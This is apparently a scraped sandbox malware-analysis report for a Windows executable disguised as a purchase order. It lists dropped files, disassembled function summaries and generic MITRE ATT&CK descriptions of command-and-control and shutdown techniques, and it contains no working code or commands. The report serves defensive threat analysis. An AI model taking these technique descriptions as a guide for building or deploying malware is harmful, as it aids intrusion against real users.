Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll

C:\Users\user\AppData\Local\sillinesses\Anglomans.ala

C:\Users\user\AppData\Local\sillinesses\Chatons.Pur

C:\Users\user\AppData\Local\sillinesses\Foiningly\allowanced.bri

C:\Users\user\AppData\Local\sillinesses\Foiningly\kartoteksstyring.gla

C:\Users\user\AppData\Local\sillinesses\Foiningly\tubig.txt

C:\Users\user\AppData\Local\sillinesses\Senatsudvalgs.Ove

C:\Users\user\AppData\Local\sillinesses\rygstdene\Befoulment209.non

C:\Users\user\AppData\Local\sillinesses\rygstdene\Strutskrter.eri

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Windows Analysis Report
PO 0309494059506060609696007.exe

Function 0040338F Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Function 00405461 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 004059CC Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403D58 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 004039AA Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EDD Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 004062DC Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00405322 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00403116 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406624 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004057F1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DDF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 6E421777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre